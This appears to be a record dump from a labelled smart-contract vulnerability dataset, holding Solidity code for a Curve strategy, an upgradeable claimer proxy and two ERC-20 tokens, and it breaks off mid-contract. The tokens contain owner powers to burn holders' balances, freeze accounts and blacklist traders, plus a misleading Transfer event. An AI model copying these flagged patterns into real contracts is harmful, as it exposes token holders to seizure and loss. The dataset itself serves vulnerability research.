}
}
// File: contracts/strategies/curve/PriceConvertor.sol
pragma solidity 0.5.16;
interface IConvertor {
function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256);
}
contract PriceConvertor is IPriceConvertor {
IConvertor public zap = IConvertor(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3);
function yCrvToUnderlying(uint256 _token_amount, uint256 i) public view returns (uint256) {
// this returning the DAI amount, not yDAI
return zap.calc_withdraw_one_coin(_token_amount, int128(i));
}
}
contract MockPriceConvertor is IPriceConvertor {
function yCrvToUnderlying(uint256 _token_amount, uint256 /* i */) public view returns (uint256) {
// counting 1:1
return _token_amount;
}
}
// File: contracts/strategies/curve/CRVStrategyWBTCMainnet.sol
pragma solidity 0.5.16;
/**
* Adds the mainnet addresses to the CRVStrategyWBTC
*/
contract CRVStrategyWBTCMainnet is CRVStrategyWRenBTC {
// token addresses
address constant public __wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
address constant public __wbtcMix = address(0x49849C98ae39Fff122806C06791Fa73784FB3675);
address constant public __crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
address constant public __weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant public __gauge = address(0xB1F2cdeC61db658F091671F5f199635aEF202CAC);
address constant public __mintr = address(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0); // _mintr
// protocols
address constant public __curve = address(0x93054188d876f558f4a66B2EF1d97d16eDf0895B);
address constant public __uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uint256 constant public __tokenIndex = 1;
constructor(
address _storage,
address _vault
)
CRVStrategyWRenBTC(
_storage,
__wbtc,
_vault,
__tokenIndex, // token index for WBTC
__wbtcMix,
__curve, // curve protocol's pool for WBTC
__crv, // the CRV token address
__weth,
__gauge,
__mintr,
__uniswap // uniswap
)
public {
wbtcPriceCheckpoint = wbtcValueFromMixToken(mixTokenUnit);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-04
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract ERC1967Proxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967Proxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IClaimer {
function initialize( address owner ) external;
}
/**
* @dev Copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.1.0/contracts/utils/StorageSlot.sol
*/
library StorageSlot {
struct AddressSlot {
address value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
}
contract ClaimerProxy is ERC1967Proxy {
/**
* @dev Storage slot with the admin of the contract.
*
* Equals `bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)`.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Initializes the upgradeable proxy with the initial stub implementation.
*/
constructor(address _owner, address claimerImplementation)
ERC1967Proxy(
claimerImplementation,
abi.encodeWithSelector(IClaimer(address(0)).initialize.selector, _owner)
)
{
_setAdmin(_owner);
emit AdminChanged(address(0), _getAdmin());
}
/**
* @return Returns the current implementation address.
*/
function implementation() external view returns (address) {
return _implementation();
}
/**
* @dev Upgrades the proxy to a new implementation, optionally performing an additional
* setup call.
*
* Can only be called by the proxy admin until the proxy is ossified.
* Cannot be called after the proxy is ossified.
*
* Emits an {Upgraded} event.
*
* @param setupCalldata Data for the setup call. The call is skipped if data is empty.
*/
function proxy_upgradeTo(address newImplementation, bytes memory setupCalldata) external {
address admin = _getAdmin();
require(admin != address(0), "proxy: ossified");
require(msg.sender == admin, "proxy: unauthorized");
_upgradeTo(newImplementation);
if (setupCalldata.length > 0) {
Address.functionDelegateCall(newImplementation, setupCalldata, "proxy: setup failed");
}
}
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
StorageSlot.getAddressSlot(ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Returns the current admin of the proxy.
*/
function proxy_getAdmin() external view returns (address) {
return _getAdmin();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function proxy_changeAdmin(address newAdmin) external {
address admin = _getAdmin();
require(msg.sender == admin, "proxy: unauthorized");
emit AdminChanged(admin, newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Returns whether the implementation is locked forever.
*/
function proxy_getIsOssified() external view returns (bool) {
return _getAdmin() == address(0);
}
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1012,
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1008,
2023,
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2515,
2025,
2709,
2000,
2049,
4722,
2140,
102
] | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-22
*/
pragma solidity ^0.5.4;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(
address from,
address to,
uint256 value
) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
contract ICS is ERC20 {
string public constant name = "Insight Commerce Solution";
string public constant symbol = "ICS";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 2000000000 * (10**uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function dropToken(address[] memory _receivers, uint256[] memory _values) public onlyOwner {
require(_receivers.length != 0);
require(_receivers.length == _values.length);
for (uint256 i = 0; i < _receivers.length; i++) {
transfer(_receivers[i], _values[i]);
emit Transfer(msg.sender, _receivers[i], _values[i]);
}
}
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(address _to, uint256 _value)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public whenNotPaused returns (bool) {
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount)
public
onlyOwner
returns (bool)
{
super._mint(_to, _amount);
emit Mint(_to, _amount);
return true;
}
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
if (lockInfo[_holder][i].releaseTime <= now) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
}
return super.balanceOf(_holder).add(lockedBalance);
}
function balanceOfLocked(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
if (lockInfo[_holder][i].releaseTime > now) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
}
return lockedBalance;
}
function balanceOfTotal(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(
lockInfo[_holder][i].balance
);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder]
.length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx)
public
view
returns (uint256, uint256)
{
return (
lockInfo[_holder][_idx].releaseTime,
lockInfo[_holder][_idx].balance
);
}
function lock(
address _holder,
uint256 _amount,
uint256 _releaseTime
) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(LockInfo(_releaseTime, _amount));
emit Lock(_holder, _amount, _releaseTime);
}
function lockAfter(
address _holder,
uint256 _amount,
uint256 _afterTime
) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(LockInfo(now + _afterTime, _amount));
emit Lock(_holder, _amount, now + _afterTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(
lockInfo[_holder][i].balance
);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length -
1];
}
lockInfo[_holder].length--;
}
function transferWithLock(
address _to,
uint256 _value,
uint256 _releaseTime
) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(LockInfo(_releaseTime, _value));
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
function transferWithLockAfter(
address _to,
uint256 _value,
uint256 _afterTime
) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(LockInfo(now + _afterTime, _value));
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, now + _afterTime);
return true;
}
function currentTime() public view returns (uint256) {
return now;
}
function afterTime(uint256 _value) public view returns (uint256) {
return now + _value;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
/**
Return to Earth
We evolve.
As the Earth started to grow, about 4.56 billion years ago, the heavy iron sank to the center,
and the lighter silicates rose to the surface. Heat generated from impacts of other bodies kept the early Earth molten. In fact, the planet's entire outer layer may have been liquid, an idea that came from studying the Moon.
Lets save the Earth.
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ReturnToEarth is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "RETURN TO EARTH";
string private constant _symbol = "EARTH";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x6e5D36bD42b26Ab7f831E76D3259fE34d8bB9315);
_feeAddrWallet2 = payable(0x6e5D36bD42b26Ab7f831E76D3259fE34d8bB9315);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x6e5D36bD42b26Ab7f831E76D3259fE34d8bB9315), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
